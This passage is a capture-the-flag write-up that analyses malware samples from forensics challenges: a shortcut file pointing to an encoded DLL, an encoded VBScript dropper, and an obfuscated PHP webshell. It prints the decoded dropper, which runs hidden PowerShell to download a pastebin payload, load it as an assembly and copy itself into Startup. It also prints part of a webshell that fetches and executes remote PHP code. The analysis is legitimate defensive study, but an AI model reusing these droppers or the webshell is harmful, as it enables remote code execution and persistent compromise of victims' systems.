Modification time : Sep 30, 2019 12:50:02
File attribute flags : 0x00002010
Is directory (FILE_ATTRIBUTE_DIRECTORY)
Content should not be indexed (FILE_ATTRIBUTE_NOT_CONTENT_INDEXED)
Extension block: 1
Signature : 0xbeef0004 (File entry extension)
Long name : Windows
Creation time : Jul 14, 2009 03:20:10
Access time : Sep 30, 2019 12:50:02
NTFS file reference : MFT entry: 624, sequence: 1
Shell item: 4
Item type : File entry
Class type indicator : 0x31 (File entry: Directory)
Name : System32
Modification time : Feb 25, 2022 11:06:08
File attribute flags : 0x00002010
Is directory (FILE_ATTRIBUTE_DIRECTORY)
Content should not be indexed (FILE_ATTRIBUTE_NOT_CONTENT_INDEXED)
Extension block: 1
Signature : 0xbeef0004 (File entry extension)
Long name : System32
Creation time : Jul 14, 2009 03:20:12
Access time : Feb 25, 2022 11:06:08
NTFS file reference : MFT entry: 2313, sequence: 1
Shell item: 5
Item type : File entry
Class type indicator : 0x32 (File entry: File)
Name : cmd.exe
Modification time : Nov 21, 2010 03:24:04
File attribute flags : 0x00000020
Should be archived (FILE_ATTRIBUTE_ARCHIVE)
Extension block: 1
Signature : 0xbeef0004 (File entry extension)
Long name : cmd.exe
Creation time : Nov 21, 2010 03:24:04
Access time : Nov 21, 2010 03:24:04
NTFS file reference : MFT entry: 36705, sequence: 1
We notice a URL in the output, but it lacks the first letter (tinyurl is a URL shortener).
We could have found that URL using a hex editor too.
The URL redirects to a text file hosted on Google Drive (usb.txt
).
It looks like base64 content but decoding it prints an error message and the result looks like gibberish.
Using base32 however I obtain a Windows binary:
1
2
$ file out
out: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, 5 sections
Read carefully: it is a DLL file.
You can’t run a dll file just by double-clicking it. You need to load it using rundll32.exe
while telling what is the name of the entry point.
For this you can open the file using Cutter and displaying the exports (which seem not to appear with default configuration).
Here, one of the exported functions is DllMain
which is pretty common.
It turns out you can use whatever name you want and it works too.
I could not copy the flag with Ctrl+C, so I had to make a screenshot and use Google Lens for OCR.
The challenge is a copy of NahamCon CTF 2022
(see here.
Not the first time they copy one of their challenges.
VeeBeeEee
Description
While investigating a host, we found this strange file attached to a scheduled task. It was invoked with wscript or something… can you find a flag?
Kansas City Shuffle
The file looks like this:
1
2
3
4
5
6
7
#@~^fhAAAA==jY~}4N+mDP,xPq?^DbwO ;D+mO+}4L^O`rUm.k2Oc?4+^sJ*PvvEBBvvEBvBEvEBvmV
2GXkWGwsBCV2GzdK+Wah@&U+Y,j64N+1Y~'~/M+CY64N+^OvJ?4n^V ba2^k^mYbWxr#EvBEBvBEBvv
EBBEvl^&GHdG+KwsBCVf{H/G+K2:@&?nO,sr8%mOP{~;DnmYr4N+1O`r?^DbwOr oRwrV?XkOn:
}4N+^YEbEBvBEvBEBvvEBBvvmVfGHdK+Ga:ElV2GHdWW2:@&?KCDtP,~',?1.rwDRUm.k2OwEsVgC:B
vvEBBvvEBvBEvEBC^&FX/K+K2:Els&FXdGWws@&fb:P;G[+EBEBvBvvEBvBEvBElsfFX/GnKwhBms2G
--- snip ---
a:vl^fFXdK+Kw:@&?!8PhldY`]P*@&s}8LmYc/GwHsbVnP]PBnCY4jYMkUL@&2x[~UE8yLIEAA==^#~@
There are a lot of vEB
characters so my first guess was we need to remove those.
Then I thought we may have to remove even more characters in order to get the flag.
For example the g
character appears only once so the md5 part of the flag can appear before.
The same goes for the }
character : it appears several times but only once after the g
.
At the end I had the following text, but I could not really figure out how to get a flag out of it:
1
2
{22dada{a{2{2{42{a2{a{{22{a822{fda2d24{d41fdf4f{912{a2{ad92{a2{ac4{24{434f2{d2{a22f{2fdb6c40bb852254d22fdafda2d252d2c{{b2afd353dd2{a28cac41b1df{23d{fd{2708{012d25{d82{a2{a0f{0fa35ccff2ad0bf2ad5003550daffa21bdd2
2{26d22f22bdd{22f22bddf{2d2faac6a{226f{aa1b{36d33abdd361b6d32ddc2a1bd2af{{a147352a1ada4429442{a2{a3b4bfaf2c2df{228faf{afd8c{d22d2a22ada6d22{2439f{1af{afd8d}
So I finally search VeeBeeEee
on Google and guess what I found ?
This paste was published on sept 20th, before the challenge starts, so it must be tied to the official solution.
Solution
VeeBeeEee
is the reference to the .vbe
file extension. But what is the differences with .vbs ?
And when asked about ways of decoding VBE files :
Yes, there are tools available that can decode .vbe
(VBScript Encoded) files. These tools can reverse the encoding and reveal the original VBScript code contained within the encoded file. Here are a few common methods and tools to decode .vbe
files:
Windows Script Host: Windows Script Host itself can decode and execute
.vbe
files. You can use thewscript.exe
orcscript.exe
command-line tools to execute.vbe
files. When these tools execute a.vbe
script, they first decode the content and then run the script. For example:1
wscript.exe encoded.vbe
This command will decode and execute the VBScript code stored within the
.vbe
file.Online Decoding Tools: Several online tools are available that allow you to paste the contents of a
.vbe
file and decode it to reveal the original VBScript code. These tools can be useful if you need to decode a.vbe
file quickly without installing additional software.However, exercise caution when using online tools, especially with sensitive or confidential scripts, as you’re sharing your script content with a third-party service.
Decoding Software: Some software applications, such as the “Microsoft Script Encoder” (screnc.exe), can encode and decode VBScript files. You can use these tools to decode
.vbe
files into their original.vbs
form.To decode a
.vbe
file using the Microsoft Script Encoder tool, you can run the following command:1
screnc.exe -d encoded.vbe decoded.vbs
Antivirus and Security Software: Many antivirus and security software applications include features to analyze and decode encoded scripts. If you have security software installed, it may automatically decode and inspect
.vbe
files for potential threats.
Keep in mind that while decoding .vbe
files can reveal their content, it doesn’t necessarily make the script safe to run. It’s essential to verify the source of the script and the intent behind it before executing it, as malicious scripts can still pose a security risk even after decoding.
I used the online decoder VBScript encrypter and decrypter which also gives some hints on detecting VBE files:
You can check the file name extension, which should be .vbe, instead of .vbs.
As an alternative you can open the file in a text editor.
The content should start with #@~^XXXXXX== and end with ==^#~@ plus a “null” char, which is not visible in most editors.
Once decoded I obtained that code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
Set Object = WScript.CreateObject("WScript.Shell") ''''''''''''''''al37ysoeopm'al37ysoeopm
Set SObject = CreateObject("Shell.Application")''''''''''''''''al37ysoeopm'al37ysoeopm
Set FObject = CreateObject("Scripting.FileSystemObject")''''''''''''''''al37ysoeopm'al37ysoeopm
SPath = WScript.ScriptFullName''''''''''''''''al37ysoeopm'al37ysoeopm
Dim Code''''''''''''''''al37ysoeopm'al37ysoeopm
''''''''''''''''al37ysoeopm'al37ysoeopm
Power0 = "Po"''''''''''''''''al37ysoeopm'al37ysoeopm
Power1 = "we"''''''''''''''''al37ysoeopm'al37ysoeopm
Power2 = "rS"''''''''''''''''al37ysoeopm'al37ysoeopm
Power3 = "he"
Power4 = "ll"''''''''''''''''al37ysoeopm'al37ysoeopm
Power5 = " "''''''''''''''''al37ysoeopm'al37ysoeopm
Power = Power0 + Power1 + Power2 + Power3 + Power4 + Power5''''''''''''''''al37ysoeopm'al37ysoeopm
''''''''''''''''al37ysoeopm'al37ysoeopm
Path0 = "&$&f&&=&'&&C&"''''''''''''''''al37ysoeopm'al37ysoeopm
Path1 = "&:&\&U&s&e&&rs" ''''''''''''''''al37ysoeopm'al37ysoeopm
Path2 = "&\P&&u&b&l&i&&c&"''''''''''''''''al37ysoeopm'al37ysoeopm
Path3 = "\D&&o&c&u&me" ''''''''''''''''al37ysoeopm'al37ysoeopm
Path4 = "n&ts&\&&J&u&ly"''''''''''''''''al37ysoeopm'al37ysoeopm
Path5 = "&.h&t&&m&';"''''''''''''''''al37ysoeopm'al37ysoeopm
Path = Path0 + Path1 + Path2 + Path3 + Path4 + Path5''''''''''''''''al37ysoeopm'al37ysoeopm
''''''''''''''''al37ysoeopm'al37ysoeopm''''''''''''''''al37ysoeopm'al37ysoeopm
Reqest0 = "&i&&f &(&!(T&e&st&-P&ath &$&f)&){&&I&n&v&o&ke&-&W&eb&&R&eq&u&&e&s&t '"''''''''''''''''al37ysoeopm'al37ysoeopm
Reqest1 = "&h&t&t&p&s&:&/&/&p&a&s&t"''''''''''''''''al37ysoeopm'al37ysoeopm
Reqest2 = "&e&b&i&n&.&c&o&m&/&r&a&w"''''''''''''''''al37ysoeopm'al37ysoeopm
Reqest3 = "&/&S&i&Y&G&w&w&c&z&"''''''''''''''''al37ysoeopm'al37ysoeopm
Reqest4 = "'& &-o&u&"''''''''''''''''al37ysoeopm'al37ysoeopm
Reqest5 = "t&f&i&le &$f& &};"''''''''''''''''al37ysoeopm'al37ysoeopm
Reqest = Reqest0 + Reqest1 + Reqest2 + Reqest3 + Reqest4 + Reqest5''''''''''''''''al37ysoeopm'al37ysoeopm
PathString = SObject.NameSpace(7).Self.Path & "/" & WScript.ScriptName''''''''''''''''al37ysoeopm'al37ysoeopm
InvokeReqest0 = "&[&S&y&s&t&e&m&."''''''''''''''''al37ysoeopm'al37ysoeopm
InvokeReqest1 = "&R&e&f&l&e&c&t&i&"''''''''''''''''al37ysoeopm'al37ysoeopm
InvokeReqest2 = "o&n&.&A&s&s&e&m&b&l"''''''''''''''''al37ysoeopm'al37ysoeopm
InvokeReqest3 = "&y&]&:&:&l&o&a&d&f" ''''''''''''''''al37ysoeopm'al37ysoeopm
InvokeReqest4 = "&i&l&e(&$&"''''''''''''''''al37ysoeopm'al37ysoeopm
InvokeReqest5 = "f&)&;&"''''''''''''''''al37ysoeopm'al37ysoeopm
InvokeReqest = InvokeReqest0 + InvokeReqest1 + InvokeReqest2 + InvokeReqest3 + InvokeReqest4 + InvokeReqest5''''''''''''''''al37ysoeopm'al37ysoeopm
''''''''''''''''al37ysoeopm'al37ysoeopm
ExecAssem0 = "&[&W&o&r&k"''''''''''''''''al37ysoeopm'al37ysoeopm
ExecAssem1 = "&A&r&e&a&."''''''''''''''''al37ysoeopm'al37ysoeopm
ExecAssem2 = "&W&o&&r&k"''''''''''''''''al37ysoeopm'al37ysoeopm
ExecAssem3 = "]&:&"''''''''''''''''al37ysoeopm'al37ysoeopm
ExecAssem4 = ":&E&x&" ''''''''''''''''al37ysoeopm'al37ysoeopm
ExecAssem5 = "e(&)&"''''''''''''''''al37ysoeopm'al37ysoeopm
ExecAssem = ExecAssem0 + ExecAssem1 + ExecAssem2 + ExecAssem3 + ExecAssem4 + ExecAssem5''''''''''''''''al37ysoeopm'al37ysoeopm
''''''''''''''''al37ysoeopm'al37ysoeopm
CollectThenReplace Power , Path , Reqest , InvokeReqest , ExecAssem
''''''''''''''''al37ysoeopm'al37ysoeopm
Sub CollectThenReplace(First, Second , Third , Fourth , Fifth)''''''''''''''''al37ysoeopm'al37ysoeopm
Temp = First + Second + Third + Fourth + Fifth''''''''''''''''al37ysoeopm'al37ysoeopm
Code = Replace(Temp , "&" , "" )''''''''''''''''al37ysoeopm'al37ysoeopm
End Sub''''''''''''''''al37ysoeopm'al37ysoeopm
''''''''''''''''al37ysoeopm'al37ysoeopm
Return = Object.Run(Code, 0, true)''''''''''''''''al37ysoeopm'al37ysoeopm
''''''''''''''''al37ysoeopm'al37ysoeopm
WScript.Sleep(50000)''''''''''''''''al37ysoeopm'al37ysoeopm
For i = 1 To 5''''''''''''''''al37ysoeopm'al37ysoeopm
if i = 5 Then''''''''''''''''al37ysoeopm'al37ysoeopm
Paste(SPath)
End if''''''''''''''''al37ysoeopm'al37ysoeopm
Next''''''''''''''''al37ysoeopm'al37ysoeopm
Sub Paste(RT)
FObject.CopyFile RT,PathString
End Sub
It looks terrible because there are a lot of useless comments but once removed it is easier to understand:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
Set Object = WScript.CreateObject("WScript.Shell")
Set SObject = CreateObject("Shell.Application")
Set FObject = CreateObject("Scripting.FileSystemObject")
SPath = WScript.ScriptFullName
Dim Code
Power0 = "Po"
Power1 = "we"
Power2 = "rS"
Power3 = "he"
Power4 = "ll"
Power5 = " "
Power = Power0 + Power1 + Power2 + Power3 + Power4 + Power5
Path0 = "&$&f&&=&'&&C&"
Path1 = "&:&\&U&s&e&&rs"
Path2 = "&\P&&u&b&l&i&&c&"
Path3 = "\D&&o&c&u&me"
Path4 = "n&ts&\&&J&u&ly"
Path5 = "&.h&t&&m&';"
Path = Path0 + Path1 + Path2 + Path3 + Path4 + Path5
Reqest0 = "&i&&f &(&!(T&e&st&-P&ath &$&f)&){&&I&n&v&o&ke&-&W&eb&&R&eq&u&&e&s&t '"
Reqest1 = "&h&t&t&p&s&:&/&/&p&a&s&t"
Reqest2 = "&e&b&i&n&.&c&o&m&/&r&a&w"
Reqest3 = "&/&S&i&Y&G&w&w&c&z&"
Reqest4 = "'& &-o&u&"
Reqest5 = "t&f&i&le &$f& &};"
Reqest = Reqest0 + Reqest1 + Reqest2 + Reqest3 + Reqest4 + Reqest5
PathString = SObject.NameSpace(7).Self.Path & "/" & WScript.ScriptName
InvokeReqest0 = "&[&S&y&s&t&e&m&."
InvokeReqest1 = "&R&e&f&l&e&c&t&i&"
InvokeReqest2 = "o&n&.&A&s&s&e&m&b&l"
InvokeReqest3 = "&y&]&:&:&l&o&a&d&f"
InvokeReqest4 = "&i&l&e(&$&"
InvokeReqest5 = "f&)&;&"
InvokeReqest = InvokeReqest0 + InvokeReqest1 + InvokeReqest2 + InvokeReqest3 + InvokeReqest4 + InvokeReqest5
ExecAssem0 = "&[&W&o&r&k"
ExecAssem1 = "&A&r&e&a&."
ExecAssem2 = "&W&o&&r&k"
ExecAssem3 = "]&:&"
ExecAssem4 = ":&E&x&"
ExecAssem5 = "e(&)&"
ExecAssem = ExecAssem0 + ExecAssem1 + ExecAssem2 + ExecAssem3 + ExecAssem4 + ExecAssem5
CollectThenReplace Power , Path , Reqest , InvokeReqest , ExecAssem
Sub CollectThenReplace(First, Second , Third , Fourth , Fifth)
Temp = First + Second + Third + Fourth + Fifth
Code = Replace(Temp , "&" , "" )
End Sub
Return = Object.Run(Code, 0, true)
WScript.Sleep(50000)
For i = 1 To 5
if i = 5 Then
Paste(SPath)
End if
Next
Sub Paste(RT)
FObject.CopyFile RT,PathString
End Sub
The code is then easy to clarify. As assignments and concatenation are compatible with Python you can easily fix stuff using Python’s interpreter.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Set Object = WScript.CreateObject("WScript.Shell")
Set SObject = CreateObject("Shell.Application")
Set FObject = CreateObject("Scripting.FileSystemObject")
SPath = WScript.ScriptFullName
Dim Code
Power = "PowerShell "
Path = "$f='C:\\Users\\Public\\Documents\\July.htm';"
Reqest = "if (!(Test-Path $f)){Invoke-WebRequest 'https://pastebin.com/raw/SiYGwwcz' -outfile $f };"
PathString = SObject.NameSpace(7).Self.Path & "/" & WScript.ScriptName
InvokeReqest = "[System.Reflection.Assembly]::loadfile($f);"
ExecAssem = "[WorkArea.Work]::Exe()"
Return = Object.Run(Power + Path + Reqest + InvokeReqest + ExecAssem, 0, true)
WScript.Sleep(50000)
For i = 1 To 5
if i = 5 Then
Paste(SPath)
End if
Next
Sub Paste(RT)
FObject.CopyFile RT,PathString
End Sub
The idea of that script is to download the content of the paste to a file called July.htm
then execute it.
The file is expected to be some Windows Assembly (understand it is a dotnet binary).
The solution is in the paste as we saw previously.
Solving it with a sandbox
We can try to execute the encoded script in a sandbox just like we did with Snake Eater
.
Hybrid-Analysis saw a few things:
It also saw some connection to pastebin.com
but wasn’t able to catch the HTTP request, maybe they do not intercept TLS encrypted traffic.
I registered an account on Any.Run. They did not see any connection attempt, but they caught the powershell execution with its arguments:
Zerion
Description
We observed some odd network traffic, and found this file on our web server… can you find the strange domains that our systems are reaching out to?
Solution
The zerion
file is a PHP script that looks like that:
1
2
3
4
5
6
7
<?php
$L66Rgr=explode(base64_decode("Pz4="),file_get_contents(__FILE__));
$L6CRgr=array(base64_decode("L3gvaQ=="),base64_decode("eA=="),base64_decode(strrev(str_rot13($L66Rgr[1]))));
$L7CRgr = "d6d666e70e43a3aeaec1be01341d9f9d";
preg_replace($L6CRgr[0],serialize(eval($L6CRgr[2])),$L6CRgr[1]);
exit();
?
It is then followed by a huge base64 string.
Looking at the script there is a call to eval()
and of course we don’t want the script to execute something we do not control.
Let’s just edit the script to inject the following two lines before the preg_replace
one:
1
2
echo $L6CRgr[2];
exit();
We obtain the code for a PHP webshell. Here is the beginning of the file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function GC($a)
{
$url = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $a, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']); $code = @file_get_contents($url); if ($code == false) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'll'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 100); curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $code = curl_exec($ch); curl_close($ch); }return $code;}
if (isset($_REQUEST['ac']) && isset($_REQUEST['path']) && isset($_REQUEST['api']) && isset($_REQUEST['t'])) { $code = GC('https://c.-wic5-.com/'); if(!$code){$code = GC('https://c.-oiv3-.com/?flag=flag{af10370d485952897d5183aa09e19883}
');}$need = '<'.'?'.'php'; if (strpos($code, $need) === false) { die('get failed'); } $file_name = tmpfile(); fwrite($file_name, $code); $a = stream_get_meta_data($file_name);$file_path = $a['uri']; $content = @file_get_contents($file_path);if(!$content){$file_path = '.c'; file_put_contents($file_path, $code);}@require($file_path); fclose($file_name);@unlink($file_path);die(); }
if (isset($_REQUEST['d_time'])){ die('{->'.$L7CRgr.'<-}'); }
$pass = false;
if (isset($_COOKIE['pass'])) { if(md5($_COOKIE['pass']) == $L7CRgr) { $pass = true; } } else { if (isset($_POST['pass'])) { if(md5($_POST['pass']) == $L7CRgr) { setcookie("pass", $_POST['pass']); $pass = true; } } }
if (isset($_POST['logout']) && $_POST['logout'] = 1) { setcookie("pass", null); $pass= false; }
if(isset($_REQUEST['pwd163']) && md5($_REQUEST['pwd163']) == $L7CRgr) {
$a = base64_decode(rawurldecode((urlencode(urldecode($_REQUEST['zzz'])))));
$need = base64_decode("PD9waHA=");
if (strpos($a, $need) === false) { $a = $need . PHP_EOL . $a; }
if (isset($_REQUEST['e'])){ $a = str_replace($need, "", $a); $b = 'e'.base64_decode("dmE=").'l'; $b($a);die(); }
$file_name = tmpfile(); fwrite($file_name, $a);
$require_params = stream_get_meta_data($file_name);
@require($require_params['uri']);
fclose($file_name);die(); }
if (isset($_REQUEST['auth_key'])){ die($L7CRgr); } if (!$pass) { if(!isset($_REQUEST['520'])) { header("HTTP/1.1 404 Not Found"); die();} echo '<form action="#" method="post"><input type="password" name="pass" > <input type="submit" value="submit"></form>'; die(); }
echo '<form action="#" method="post"><input type="hidden" name="logout" value="1"> <input type="submit" value="logout"></form>'; echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
<title>Mini Shell</title>
<style>
We can see the flag in the URL : flag{af10370d485952897d5183aa09e19883}